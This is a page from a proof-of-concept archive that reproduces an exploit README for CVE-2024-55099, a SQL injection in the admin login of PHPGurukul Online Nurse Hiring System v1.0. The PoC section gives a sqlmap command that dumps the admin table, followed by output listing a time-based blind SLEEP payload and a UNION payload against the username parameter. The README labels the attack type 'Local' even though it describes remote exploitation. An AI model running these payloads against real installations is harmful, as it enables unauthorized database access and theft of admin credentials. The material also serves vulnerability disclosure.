Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2024-55099 PoC — PHPGurukul Online Nurse Hiring System 安全漏洞

Source
Associated Vulnerability
Title:PHPGurukul Online Nurse Hiring System 安全漏洞 (CVE-2024-55099)
Description:A SQL Injection vulnerability was found in /admin/index.php in phpgurukul Online Nurse Hiring System v1.0, which allows remote attackers to execute arbitrary SQL commands to get unauthorized database access via the username parameter.
Readme
# CVE-2024-55099-Online-Nurse-Hiring-System-v1.0-SQL-Injection-Vulnerability
+ Exploit Author: ugurkarakoc
# Vendor Homepage
+ https://phpgurukul.com/online-nurse-hiring-system-using-php-and-mysql
# Software Link
+ https://phpgurukul.com/?sdm_process_download=1&download_id=17826
# Overview
+ Online-Nurse-Hiring-System-v1.0 is Insufficient input validation and sanitization of 'username' parameters can create a vulnerability to SQL injection attacks, enabling unauthorized access to the database and compromising system security.
# Vulnerability Details
+ CVE ID: CVE-2024-55099
+ Affected Version: Online-Nurse-Hiring-System-v1.0
+ Vulnerable File: /admin/index.php.
+ Parameter Names: username
+ Attack Type: Local
# References:
+ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-55099
+ https://nvd.nist.gov/vuln/detail/CVE-2024-55099
# Description
+ The lack of proper input validation and sanitization on the 'username' parameters allows an attacker to craft SQL injection queries, bypassing authentication mechanisms and gaining unauthorized access to the database


# Proof of Concept (PoC) : 
+ `sqlmap -r r.txt -dbs  --level 5 --risk 3 --batch -D onhsdb -T tbladmin --columns --dump`

```
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 3898 FROM (SELECT(SLEEP(5)))CrDy) AND 'rbGV'='rbGV&inputpwd=test&login=

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=-6075' UNION ALL SELECT 68,CONCAT(0x7176706a71,0x7168445671545a434e
---
```
![image](https://github.com/user-attachments/assets/e982fd85-d9e9-4482-8692-f6a0d08c5497)


File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →